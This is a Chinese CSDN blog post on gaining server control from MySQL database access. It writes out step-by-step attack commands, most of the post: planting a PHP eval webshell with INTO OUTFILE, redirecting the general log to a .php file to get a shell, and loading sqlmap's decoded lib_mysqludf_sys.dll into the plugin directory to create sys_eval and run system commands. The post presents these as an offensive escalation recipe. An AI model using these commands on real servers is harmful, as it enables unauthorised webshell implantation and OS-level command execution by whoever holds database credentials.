mysql udf提权_MYSQL如何获取服务器控制权限

这篇博客介绍了在已获取MySQL数据库权限的基础上,如何进一步提升权限。主要内容包括通过file系列函数(如into dumpfile()、into outfile()、load_file())导入文件getshell,利用日志功能getshell,以及详细阐述了UDF(用户自定义函数)提权的条件和步骤,涉及到不同MySQL版本的DLL文件位置,解码和上传过程,以及创建函数进行提权的操作。
摘要由CSDN通过智能技术生成

MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。

本次分享将在获取mysql数据库权限的情况下怎么去获取更高的权限。

0x01 导入文件getshell

在获取到数据库权限时,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个

  • into dumpfile()

  • into outfile()

  • load_file()

前置条件:

需要关闭secure_file_priv,在MySQL配置文件中写入secure_file_priv=' ' 

SHOW VARIABLES LIKE "secure_file_priv"; //查看secure_file_priv权限secure_file_prive=null   // 限制mysqld 不允许导入导出secure_file_priv=/tmp/   //限制mysqld的导入导出只能发生在/tmp/目录下secure_file_priv=' '         //不对mysqld 的导入 导出做限制select '<?php @eval($_POST[1])?>' into outfile 'D:/phpstudy_pro/WWW/test.php'//在指定目录下写入可执行文件

a51487ab532579634a062e41b0ba95ef.png

19b0ac0b91ad1d0713e7c53c2cf968cf.png

0x02 日志功能getshell

mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。

show variables  like  '%general%'; //查询日志状态SET GLOBAL general_log='on'   //开启日志状态SET GLOBAL general_log_file='D:/phpstudy_pro/www/test.php' //设置日志文件位置SELECT '<?php  phpinfo();?>' //写入代码

24df31789de9344712e6d82a4650cdd6.png

1cde45cced5dc6eaefb4b0417d4ee1b8.png

0x03 udf提权

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,利用条件:

1、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的。lib\plugin文件夹下。
2、Mysql版本小于5.1版本。udf.dll文件放置于c:\windows\system32。

3、需要关闭secure_file_priv。

4、对相应目录有写入权限。

首先,需要获取到udf提权的dll文件,sqlmap提供了现成的dll文件,在sqlmap\udf\mysql目录下,选择相应的系统版本和MySQL位数的文件。

由于文件被异或编码存放的,还需要进行解码,解码文件在sqlmap\extra\cloak目录下。

 py -2 .\cloak.py -d -i H:\st\sqlmap\udf\mysql\windows\64\lib_mysqludf_sys.dll_

后续需要将dll文件上传到服务器指定目录下,创建函数进行提权

select @@plugin_dir //查找mysql目录create table mysql.b(cmd LONGBLOB); //创建表insert into mysql.b(cmd) values (hex(load_file('H:\st\sqlmap\udf\mysql\windows\64\lib_mysqludf_sys.dll')));//将dll文件中的内容hex编码放入表中SELECT unhex(cmd) FROM mysql.b INTO DUMPFILE 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/uu.dll';//将表中内容写入到指定文件中 create function sys_eval returns string soname 'uu.dll'; //使用sys_eval函数命令执行 select sys_eval('whoami');

3549d0127443d909bc12bb8d694bbafd.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值